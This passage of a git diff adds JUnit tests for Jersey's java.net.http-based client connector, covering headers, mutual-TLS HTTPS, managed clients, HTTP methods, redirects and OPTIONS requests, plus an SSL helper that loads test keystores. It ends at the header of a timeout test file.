@@ -0,0 +1,95 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import java.util.List; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.HeaderParam; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class HttpHeadersTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @POST + public String post( + @HeaderParam("Transfer-Encoding") String transferEncoding, + @HeaderParam("X-CLIENT") String xClient, + @HeaderParam("X-WRITER") String xWriter, + String entity) { + assertEquals("client", xClient); + return "POST"; + } + + @GET + public String testUserAgent(@Context HttpHeaders httpHeaders) { + final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT); + if (requestHeader.size() != 1) { + return "FAIL"; + } + return requestHeader.get(0); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JavaNetHttpConnectorProvider()); + } + + @Test + public void testPost() { + Response response = target().path("test").request().header("X-CLIENT", "client").post(null); + + assertEquals(200, response.getStatus()); + assertTrue(response.hasEntity()); + } + + /** + * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client. + */ + @Test + public void testUserAgent() { + String response = target().path("test").request().get(String.class); + assertTrue(response.startsWith("Jersey"), + "User-agent header should start with 'Jersey', but was " + response); + } +} \ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HttpsTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HttpsTest.java new file mode 100644 index 0000000..4f6a035 --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HttpsTest.java
@@ -0,0 +1,103 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import java.net.URI; +import java.util.Optional; +import java.util.logging.Logger; + +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLParameters; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory; +import org.glassfish.jersey.test.spi.TestContainerFactory; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.UriBuilder; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class HttpsTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(HttpsTest.class.getName()); + private static final String ROOT_PATH = "test"; + + @Path(ROOT_PATH) + public static class Resource { + @GET + public String get() { + return "GET"; + } + } + + @Override + protected TestContainerFactory getTestContainerFactory() { + return new GrizzlyTestContainerFactory(); + } + + @Override + protected URI getBaseUri() { + return UriBuilder.fromUri("https://localhost").port(getPort()).build(); + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(Resource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected Optional<SSLContext> getSslContext() { + return Optional.of(SslUtils.createServerSslContext(true, true)); + } + + @Override + protected Optional<SSLParameters> getSslParameters() { + SSLParameters serverSslParameters = new SSLParameters(); + serverSslParameters.setNeedClientAuth(true); + return Optional.of(serverSslParameters); + } + + private SSLContext clientSslContext() { + return SslUtils.createClientSslContext(true, true); + } + + @Test + public void testConnection() { + ClientConfig cc = new ClientConfig() + .connectorProvider(new JavaNetHttpConnectorProvider()); + Client client = ClientBuilder.newBuilder() + .withConfig(cc) + .sslContext(clientSslContext()) + .register(LoggingFeature.class) + .build(); + Response response = client.target(getBaseUri()).path(ROOT_PATH).request().get(); + assertEquals(200, response.getStatus()); + assertEquals("GET", response.readEntity(String.class)); + } +}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/ManagedClientTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/ManagedClientTest.java new file mode 100644 index 0000000..8eca289 --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/ManagedClientTest.java
@@ -0,0 +1,251 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ClientBinding; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.Uri; +import org.glassfish.jersey.test.JerseyTest; + +import java.io.IOException; +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.container.ContainerRequestFilter; +import jakarta.ws.rs.container.DynamicFeature; +import jakarta.ws.rs.container.ResourceInfo; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.FeatureContext; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class ManagedClientTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName()); + + /** + * Managed client configuration for client A. + */ + @ClientBinding(configClass = MyClientAConfig.class) + @Documented + @Retention(RetentionPolicy.RUNTIME) + @Target({ElementType.FIELD, ElementType.PARAMETER}) + public static @interface ClientA { + } + + /** + * Managed client configuration for client B. + */ + @ClientBinding(configClass = MyClientBConfig.class) + @Documented + @Retention(RetentionPolicy.RUNTIME) + @Target({ElementType.FIELD, ElementType.PARAMETER}) + public @interface ClientB { + } + + /** + * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance + * to every method that is annotated with {@link Require @Require} internal feature + * annotation. + */ + public static class CustomHeaderFeature implements DynamicFeature { + + /** + * A method annotation to be placed on those resource methods to which a validating + * {@link CustomHeaderFilter} instance should be added. + */ + @Retention(RetentionPolicy.RUNTIME) + @Documented + @Target(ElementType.METHOD) + public static @interface Require { + + /** + * Expected custom header name to be validated by the {@link CustomHeaderFilter}. + */ + String headerName(); + + /** + * Expected custom header value to be validated by the {@link CustomHeaderFilter}. + */ + String headerValue(); + } + + @Override + public void configure(ResourceInfo resourceInfo, FeatureContext context) { + final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class); + if (va != null) { + context.register(new CustomHeaderFilter(va.headerName(), va.headerValue())); + } + } + } + + /** + * A filter for appending and validating custom headers. + * <p> + * On the client side, appends a new custom request header with a configured name and value to each outgoing request. + * </p> + * <p> + * On the server side, validates that each request has a custom header with a configured name and value. + * If the validation fails a HTTP 403 response is returned. + * </p> + */ + public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter { + + private final String headerName; + private final String headerValue; + + public CustomHeaderFilter(String headerName, String headerValue) { + if (headerName == null || headerValue == null) { + throw new IllegalArgumentException("Header name and value must not be null."); + } + this.headerName = headerName; + this.headerValue = headerValue; + } + + @Override + public void filter(ContainerRequestContext ctx) throws IOException { // validate + if (!headerValue.equals(ctx.getHeaderString(headerName))) { + ctx.abortWith(Response.status(Response.Status.FORBIDDEN) + .type(MediaType.TEXT_PLAIN) + .entity(String + .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue)) + .build()); + } + } + + @Override + public void filter(ClientRequestContext ctx) throws IOException { // append + ctx.getHeaders().putSingle(headerName, headerValue); + } + } + + /** + * Internal resource accessed from the managed client resource. + */ + @Path("internal") + public static class InternalResource { + + @GET + @Path("a") + @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a") + public String getA() { + return "a"; + } + + @GET + @Path("b") + @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b") + public String getB() { + return "b"; + } + } + + /** + * A resource that uses managed clients to retrieve values of internal + * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter} + * and require a specific custom header in a request to be set to a specific value. + * <p> + * Properly configured managed clients have a {@code CustomHeaderFilter} instance + * configured to insert the {@link CustomHeaderFeature.Require required} custom header + * with a proper value into the outgoing client requests. + * </p> + */ + @Path("public") + public static class PublicResource { + + @Uri("a") + @ClientA // resolves to <base>/internal/a + private WebTarget targetA; + + @GET + @Produces("text/plain") + @Path("a") + public String getTargetA() { + return targetA.request(MediaType.TEXT_PLAIN).get(String.class); + } + + @GET + @Produces("text/plain") + @Path("b") + public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) { + return targetB.request(MediaType.TEXT_PLAIN).get(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class) + .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal"); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + public static class MyClientAConfig extends ClientConfig { + + public MyClientAConfig() { + this.register(new CustomHeaderFilter("custom-header", "a")); + } + } + + public static class MyClientBConfig extends ClientConfig { + + public MyClientBConfig() { + this.register(new CustomHeaderFilter("custom-header", "b")); + } + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JavaNetHttpConnectorProvider()); + } + + /** + * Test that a connection via managed clients works properly. + * + * @throws Exception in case of test failure. + */ + @Test + public void testManagedClient() throws Exception { + final WebTarget resource = target().path("public").path("{name}"); + Response response; + + response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get(); + assertEquals(200, response.getStatus()); + assertEquals("a", response.readEntity(String.class)); + + response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get(); + assertEquals(200, response.getStatus()); + assertEquals("b", response.readEntity(String.class)); + } + +}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/MethodTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/MethodTest.java new file mode 100644 index 0000000..a4837ee --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/MethodTest.java
@@ -0,0 +1,147 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import java.util.concurrent.ExecutionException; +import java.util.logging.Logger; + +import jakarta.ws.rs.DELETE; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.PATCH; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.PUT; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class MethodTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName()); + + private static final String PATH = "test"; + + @Path("/test") + public static class HttpMethodResource { + @GET + public String get() { + return "GET"; + } + + @POST + public String post(String entity) { + return entity; + } + + @PUT + public String put(String entity) { + return entity; + } + + @PATCH + public String patch(String entity) { + return entity; + } + + @DELETE + public String delete() { + return "DELETE"; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JavaNetHttpConnectorProvider()); + } + + @Test + public void testGet() { + Response response = target(PATH).request().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testGetAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().get().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testPost() { + Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN)); + assertEquals("POST", response.readEntity(String.class)); + } + + @Test + public void testPostAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get(); + assertEquals("POST", response.readEntity(String.class)); + } + + @Test + public void testPut() { + Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)); + assertEquals("PUT", response.readEntity(String.class)); + } + + @Test + public void testPutAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get(); + assertEquals("PUT", response.readEntity(String.class)); + } + + @Test + public void testDelete() { + Response response = target(PATH).request().delete(); + assertEquals("DELETE", response.readEntity(String.class)); + } + + @Test + public void testDeleteAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().delete().get(); + assertEquals("DELETE", response.readEntity(String.class)); + } + + @Test + public void testPatch() { + Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN)); + assertEquals("PATCH", response.readEntity(String.class)); + } + + @Test + public void testOptionsWithEntity() { + Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke(); + assertEquals(200, response.getStatus()); + response.close(); + } +}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/NoEntityTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/NoEntityTest.java new file mode 100644 index 0000000..6635a61 --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/NoEntityTest.java
@@ -0,0 +1,130 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import jakarta.ws.rs.core.GenericType; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import org.junit.jupiter.api.Test; + +public class NoEntityTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @GET + public Response get() { + return Response.status(Response.Status.CONFLICT).build(); + } + + @POST + public void post(String entity) { + } + + @GET + @Path("/success") + public Response getSuccessfully() { + return Response.status(Response.Status.NO_CONTENT).build(); + } + + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JavaNetHttpConnectorProvider()); + } + + @Test + public void testGet() { + WebTarget r = target("test"); + + for (int i = 0; i < 5; i++) { + Response cr = r.request().get(); + cr.close(); + } + } + + @Test + public void testGetWithClose() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().get(); + cr.close(); + } + } + + @Test + public void testGetVoidWithClose() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().get(); + cr.close(); + } + } + + @Test + public void testGetVoid() { + WebTarget r = target("test/success"); + for (int i = 0; i < 5; i++) { + r.request().get(void.class); + } + } + + @Test + public void testGetGenericVoid() { + WebTarget r = target("test/success"); + for (int i = 0; i < 5; i++) { + r.request().get(new GenericType<Void>() { + }); + } + } + + @Test + public void testPost() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().post(null); + } + } + + @Test + public void testPostWithClose() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().post(null); + cr.close(); + } + } +}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/OptionsMethodTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/OptionsMethodTest.java new file mode 100644 index 0000000..a333bd1 --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/OptionsMethodTest.java
@@ -0,0 +1,36 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import jakarta.ws.rs.core.Response; +import org.junit.jupiter.api.Test; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * Checks, that an {@code OPTIONS} request may be sent to a {@code GET} endpoint. + */ +public class OptionsMethodTest extends AbstractJavaConnectorTest { + /** + * Sends an {@code OPTIONS} request to the root {@code GET} endpoint and assumes a code 200. + */ + @Test + public void testOptionsMethod() { + assertThat(this.requestWithEntity("java-connector", "OPTIONS", null).getStatus()) + .isEqualTo(Response.Status.OK.getStatusCode()); + } +}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/RedirectTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/RedirectTest.java new file mode 100644 index 0000000..e1edc24 --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/RedirectTest.java
@@ -0,0 +1,48 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import jakarta.ws.rs.core.Response; +import org.glassfish.jersey.client.ClientProperties; +import org.junit.jupiter.api.Test; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * Checks that the connector provider correctly handles redirects. + */ +public class RedirectTest extends AbstractJavaConnectorTest { + /** + * Checks, that without further configuration redirects are taken. + */ + @Test + public void testRedirect() { + assertThat(this.request("java-connector/redirect").readEntity(String.class)).isEqualTo("Hello World!"); + } + + /** + * Checks, that no redirect happens, if the redirects are switched off. + */ + @Test + public void testNotFollowRedirects() { + Response response = target().path("java-connector").path("redirect") + .property(ClientProperties.FOLLOW_REDIRECTS, false) + .request() + .get(); + assertThat(response.getStatus()).isEqualTo(Response.Status.SEE_OTHER.getStatusCode()); + } +}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/RetrieveHttpClientFromConnectorProviderTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/RetrieveHttpClientFromConnectorProviderTest.java new file mode 100644 index 0000000..8592bd7 --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/RetrieveHttpClientFromConnectorProviderTest.java
@@ -0,0 +1,40 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import org.junit.jupiter.api.Test; + +import java.net.http.HttpClient; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * Tests access to the {@link HttpClient} instance provided from the {@link JavaNetHttpConnectorProvider}. + */ +public class RetrieveHttpClientFromConnectorProviderTest extends AbstractJavaConnectorTest { + /** + * Checks, that the {@link jakarta.ws.rs.client.Client} and {@link jakarta.ws.rs.client.WebTarget} instances + * correctly return the internally used {@link HttpClient}. + */ + @Test + public void testClientUsesJavaConnector() { + assertThat(JavaNetHttpConnectorProvider.getHttpClient(client())).isInstanceOf(HttpClient.class); + assertThat(JavaNetHttpConnectorProvider.getHttpClient(target())).isInstanceOf(HttpClient.class); + assertThat(JavaNetHttpConnectorProvider.getHttpClient(client())) + .isEqualTo(JavaNetHttpConnectorProvider.getHttpClient(target())); + } +}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/SslUtils.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/SslUtils.java new file mode 100644 index 0000000..469959a --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/SslUtils.java
@@ -0,0 +1,121 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import javax.net.ssl.KeyManager; +import javax.net.ssl.KeyManagerFactory; +import javax.net.ssl.SSLContext; +import javax.net.ssl.TrustManager; +import javax.net.ssl.TrustManagerFactory; +import java.io.InputStream; +import java.security.KeyStore; + +public final class SslUtils { + + private static final String SERVER_IDENTITY_PATH = "server-identity.jks"; + private static final char[] SERVER_IDENTITY_PASSWORD = "secret".toCharArray(); + private static final String SERVER_TRUSTSTORE_PATH = "server-truststore.jks"; + private static final char[] SERVER_TRUSTSTORE_PASSWORD = "secret".toCharArray(); + + private static final String CLIENT_IDENTITY_PATH = "client-identity.jks"; + private static final char[] CLIENT_IDENTITY_PASSWORD = "secret".toCharArray(); + private static final String CLIENT_TRUSTSTORE_PATH = "client-truststore.jks"; + private static final char[] CLIENT_TRUSTSTORE_PASSWORD = "secret".toCharArray(); + + private static final String KEYSTORE_TYPE = "PKCS12"; + + private SslUtils() {} + + public static SSLContext createServerSslContext(boolean includeKeyMaterial, boolean includeTrustMaterial) { + return createSslContext( + includeKeyMaterial, + includeTrustMaterial, + SERVER_IDENTITY_PATH, + SERVER_IDENTITY_PASSWORD, + SERVER_TRUSTSTORE_PATH, + SERVER_TRUSTSTORE_PASSWORD + ); + } + + public static SSLContext createClientSslContext(boolean includeKeyMaterial, boolean includeTrustMaterial) { + return createSslContext( + includeKeyMaterial, + includeTrustMaterial, + CLIENT_IDENTITY_PATH, + CLIENT_IDENTITY_PASSWORD, + CLIENT_TRUSTSTORE_PATH, + CLIENT_TRUSTSTORE_PASSWORD + ); + } + + private static SSLContext createSslContext( + boolean includeKeyMaterial, + boolean includeTrustMaterial, + String keyStorePath, + char[] keyStorePassword, + String trustStorePath, + char[] trustStorePassword) { + + try { + KeyManager[] keyManagers = null; + TrustManager[] trustManagers = null; + + if (includeKeyMaterial) { + keyManagers = createKeyManagers(keyStorePath, keyStorePassword); + } + + if (includeTrustMaterial) { + trustManagers = createTrustManagers(trustStorePath, trustStorePassword); + } + + SSLContext sslContext = SSLContext.getInstance("TLS"); + sslContext.init(keyManagers, trustManagers, null); + return sslContext; + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + private static TrustManager[] createTrustManagers(String keyStorePath, char[] keyStorePassword) throws Exception { + KeyStore trustStore = getKeyStore(keyStorePath, keyStorePassword); + + TrustManagerFactory trustManagerFactory = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm()); + trustManagerFactory.init(trustStore); + return trustManagerFactory.getTrustManagers(); + } + + private static KeyManager[] createKeyManagers(String keyStorePath, char[] keyStorePassword) throws Exception { + KeyStore keyStore = getKeyStore(keyStorePath, keyStorePassword); + + KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm()); + keyManagerFactory.init(keyStore, keyStorePassword); + return keyManagerFactory.getKeyManagers(); + } + + private static KeyStore getKeyStore(String path, char[] keyStorePassword) throws Exception { + try (InputStream inputStream = getResource(path)) { + KeyStore keyStore = KeyStore.getInstance(KEYSTORE_TYPE); + keyStore.load(inputStream, keyStorePassword); + return keyStore; + } + } + + private static InputStream getResource(String path) { + return SslUtils.class.getClassLoader().getResourceAsStream(path); + } + +} \ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/TimeoutTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/TimeoutTest.java new file mode 100644 index 0000000..b32f122 --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/TimeoutTest.java
